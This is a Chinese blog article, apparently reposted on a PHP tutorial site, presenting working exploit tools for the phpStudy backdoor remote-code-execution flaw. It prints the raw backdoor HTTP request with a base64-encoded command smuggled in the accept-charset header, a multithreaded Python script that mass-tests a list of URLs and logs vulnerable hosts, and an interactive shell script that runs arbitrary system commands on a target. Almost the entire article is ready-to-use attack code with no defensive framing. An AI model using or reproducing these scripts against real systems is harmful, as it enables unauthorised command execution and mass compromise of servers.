phpstudy后門rce批量利用腳本的實現(xiàn)
寫兩個一個批量檢測的 一個交互式shell的
暫時py 圖形化的qt寫出來..有點問題
后門包 :
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1
執(zhí)行那段寫shell即可
晚上抽點空簡單寫個發(fā)包的py:
#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿 博客:https://www.cnblogs.com/-qing-/ import base64 import requests import threading import queue print("======Phpstudy Backdoor Exploit============\n") print("===========By Qing=================\n") print("=====Blog:https://www.cnblogs.com/-qing-/==\n") payload = "echo \"qing\";" payload = base64.b64encode(payload.encode('utf-8')) payload = str(payload, 'utf-8') headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'accept-charset': payload, 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', } def write_shell(url,headers): try: r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30) if "qing" in r.text: print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n') with open('success.txt','a') as f: f.write(url+'\n') else: print ('[ - ] BackDoor failed: '+url+'[ - ]\n') except: print ('[ - ] Timeout: '+url+' [ - ]\n') url = "http://xxx" write_shell(url=url,headers=headers)
界面優(yōu)化、改下多線程、批量讀取文本文件后的代碼:
#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿 博客:https://www.cnblogs.com/-qing-/ import base64 import requests import threading import threadpool print("======Phpstudy Backdoor Exploit============\n") print("===========By Qing=================\n") print("=====Blog:https://www.cnblogs.com/-qing-/==\n") def write_shell(url): payload = "echo \"qing\";" payload = base64.b64encode(payload.encode('utf-8')) payload = str(payload, 'utf-8') headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'accept-charset': payload, 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', } try: r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30) if "qing" in r.text: print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n') with open('success.txt','a') as f: f.write(url+'\n') else: print ('[ - ] BackDoor failed: '+url+'[ - ]\n') except: print ('[ - ] Timeout: '+url+' [ - ]\n') # url = "http://xxx" # write_shell(url=url,headers=headers) def main(): with open('url.txt','r') as f: lines = f.read().splitlines() task_pool=threadpool.ThreadPool(5) requests=threadpool.makeRequests(write_shell,lines) for req in requests: task_pool.putRequest(req) task_pool.wait() if __name__ == '__main__': main() #線程隊列部分 # th=[] # th_num=10 # for x in range(th_num): # t=threading.Thread(target=write_shell) # th.append(t) # for x in range(th_num): # th[x].start() # for x in range(th_num): # th[x].join()
你也可以加上讀取php文件的字典 這個簡單沒啥說的
下一個是交互式shell
#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿 博客:https://www.cnblogs.com/-qing-/ import base64 import requests import threading import threadpool import re print("======Phpstudy Backdoor Exploit---os-shell============\n") print("===========By Qing=================\n") print("=====Blog:https://www.cnblogs.com/-qing-/==\n") def os_shell(url,headers,payload): try: r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10) # print(r.text) res = re.findall("qing(.*?)qing",r.text,re.S) print("[ + ]===========The Response:==========[ + ]\n") res = "".join(res) print(res) except: print("[ - ]===========Failed! Timeout...==========[ - ]\n") def main(): url = input("input the Url , example:\"http://127.0.0.1/\"\n") payload = input("input the payload , default:echo system(\"whoami\");\n") de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";" if payload.strip() == '': payload = de_payload payload = "echo \"qing\";"+payload+"echo \"qing\";" payload = base64.b64encode(payload.encode('utf-8')) payload = str(payload, 'utf-8') headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'accept-charset': payload, 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', } os_shell(url=url,headers=headers,payload=payload) if __name__ == '__main__': main()
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持我們。
上一篇:關(guān)于PHP5.6+版本“No input file specified”問題的解決
欄 目:PHP編程
下一篇:PHP學(xué)習(xí)記錄之面向?qū)ο螅∣bject-oriented programming,OOP)基礎(chǔ)【接口、抽象類、靜態(tài)方法等
本文標題:phpstudy后門rce批量利用腳本的實現(xiàn)
本文地址:http://mengdiqiu.com.cn/a1/PHPbiancheng/11034.html
您可能感興趣的文章


閱讀排行
本欄相關(guān)
- 04-02php本站才可以請求數(shù)據(jù) php本地數(shù)據(jù)庫
- 04-02關(guān)于txt數(shù)據(jù)庫php的信息
- 04-02php打印請求數(shù)據(jù) php打印輸出結(jié)果
- 04-02網(wǎng)頁里php操作數(shù)據(jù)庫 php網(wǎng)頁例子
- 04-02php插入數(shù)據(jù)庫為亂碼 php連接數(shù)據(jù)庫亂
- 04-02php數(shù)據(jù)庫地址 phpstudy 數(shù)據(jù)庫
- 04-02php數(shù)據(jù)庫數(shù)據(jù)相加 php數(shù)據(jù)庫添加數(shù)據(jù)
- 04-02數(shù)據(jù)權(quán)限架構(gòu)思路php 數(shù)據(jù)權(quán)限設(shè)計方
- 04-02php數(shù)據(jù)庫輸入變量 php里輸出數(shù)據(jù)庫數(shù)
- 04-02php如何用導(dǎo)入數(shù)據(jù) php用來導(dǎo)入其他文
隨機閱讀
- 01-10C#中split用法實例總結(jié)
- 01-10使用C語言求解撲克牌的順子及n個骰子
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 01-10delphi制作wav文件的方法
- 08-05織夢dedecms什么時候用欄目交叉功能?
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 01-11ajax實現(xiàn)頁面的局部加載
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 04-02jquery與jsp,用jquery